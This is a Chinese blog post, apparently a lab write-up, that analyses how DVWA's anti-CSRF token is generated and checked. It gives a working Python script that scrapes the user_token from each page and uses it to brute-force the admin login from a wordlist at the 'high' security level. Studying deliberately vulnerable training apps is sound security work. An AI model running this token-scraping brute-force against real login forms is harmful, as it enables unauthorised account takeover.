DVWA之Anti CSRF分析利用(python3+Brute Password)
前言
耍DVWA一直碰到Anti-CSRF,受不了就仔细看看源码,学习一番。发现竟然有这么大个BUG。
Begin
NOTICE
index.php>>点击submit之后跳转脚本login.php中
主要方法分析:
dvwaPage.inc.php
generateSessionToken()方法>>通过当前时间生成一个session_ID,转MD5,储存在服务端
generateSessionToken()方法>>判断当前界面是否存在session_token,若存在销毁上一个sessionID 并创建一个新的session_token。不存在直接创建session_token
Anti-CSRF执行流程
问题
user_token的提交是怎么被赋值?session_token和user_token是怎么验证相等?
问题一:查看源代码如下,$session[‘session_token’]放置于标签name=’’user_token中。
在login.php的验证执行,通过reuqests[‘user_token’]方式提取name=’user_token’对应的value值
问题二:在运行的login.php脚本中调用checkToken方法检验session_token和user_token值是否相等
每次访问或跳转至index.php时会调用dvwaPage.inic.php(写有Token Function的文件)。
token_user成长历程
- index.php中>>检查页面是否已存在session_token
- index.php中>>存在,销毁session_token,并创建一个新的session_token
- index.php中>>执行tokenFied()方法,将session_token放置标签中(可以在index.php中审查源码可以看到session_token值)
可以看出这里存在BUG,爆破密码可以先提取网页源码中的user_Token进行payload构建。再爆破密码 - login.php>>验证user_token是否与脚本中的session_token相等
Brute password(High)
import requests
import re
from bs4 import BeautifulSoup
def getToken(url,header):
try:
r = requests.get(url,headers=header)
print (r.status_code)
print (len(r.text))
r.raise_for_status()
r.encoding=r.apparent_encoding
soup = BeautifulSoup(r.text,'html.parser')
token = soup.find_all('input')
str1 = str(token[3])
new_token = str1[46:-11]
return new_token
except:
return ""
header={
'Host':'192.168.43.195',
'Upgrade-Insecure-Requests': '1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': 'http://192.168.43.195/DVWA/vulnerabilities/brute/index.php',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': 'security=high; PHPSESSID=adf974919653a77c8befadca017f92e7'
}
url = 'http://192.168.43.195/DVWA/vulnerabilities/brute/index.php'
i=0
str3=''
new_token=getToken(url,header)
for line in open("D://rkolin.txt"):
requal ='http://192.168.43.195/DVWA/vulnerabilities/brute/'+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+new_token
new_token=getToken(requal,header)
i = i+1
print(i,'admin',new_token,requal)
if (i == 10):
break
总结
- high等级,在爆破密码这一关的,就可以通过python现在index.php直接获取user_token值
- 把session_id放置于服务器端且无法不能在前端可见之处进行验证
- 审计Anti机制挺有意思,虽然这个比较简单,但还是满有收获的。
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!